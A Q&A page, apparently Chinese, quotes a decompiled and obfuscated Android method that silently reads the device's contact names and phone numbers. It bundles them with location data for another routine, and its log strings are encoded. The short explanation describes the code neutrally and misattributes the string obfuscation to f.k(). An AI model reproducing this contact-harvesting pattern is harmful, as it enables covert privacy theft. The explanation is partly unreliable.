private final void K(String str, String str2, LocationBean locationBean) { String str3 = y; Log.i(str3, gp1.m4A("fX9uWXV0bnt5bmkyMzorOnd1eHN2fzogOg") + str + gp1.m4A("Onl1fn86IDo") + str2); String k = f.k(g.a(), g.b()); ArrayList arrayList = new ArrayList(); Cursor query = getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, new String[]{gp1.m4A("RXN-"), gp1.m4A("fnNpanZ7Y0V0e3d_")}, null, null, null); int b2 = com.android.privateData.n.b.c().b(); int i = 0; while (true) { f.c(query); if (!query.moveToNext() || i >= b2) { break; } long j = query.getLong(0); String string = query.getString(1); Cursor query2 = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, new String[]{gp1.m4A("fntueys")}, f.k(gp1.m4A("eXV0bnt5bkVzfic"), Long.valueOf(j)), null, null); if (query2 != null && query2.moveToFirst()) { String string2 = query2.getString(0); f.d(string2, gp1.m4A("anJ1dH9pWW9oaXVoNH1_bkluaHN0fTIqMw")); String b3 = new e.b0.f(gp1.m4A("QUQqNyNH")).b(string2, BuildConfig.FLAVOR); f.d(string, gp1.m4A("dHt3fw")); arrayList.add(new PhoneNumberBody(b3, string)); } f.c(query2); query2.close(); i++; } query.close(); Log.i(y, f.k(gp1.m4A("KDp9f25ZdXRue3luaTIzOjpZdXRue3luaTp2c2luOiA6"), arrayList)); b0(arrayList, str, str2, k, locationBean); }
时间: 2024-04-28 19:22:30 浏览: 157
这段代码是一个私有方法K,其中使用了Android系统提供的ContactsContract API和自定义的一些类。该方法实现了获取手机通讯录中所有联系人的电话号码和姓名,并将其封装成PhoneNumberBody对象,添加到ArrayList中。在方法中还获取了当前位置信息LocationBean,并调用b0方法进行一些处理。方法中使用了f.k()方法对字符串进行了加密,具体加密方式未知。
阅读全文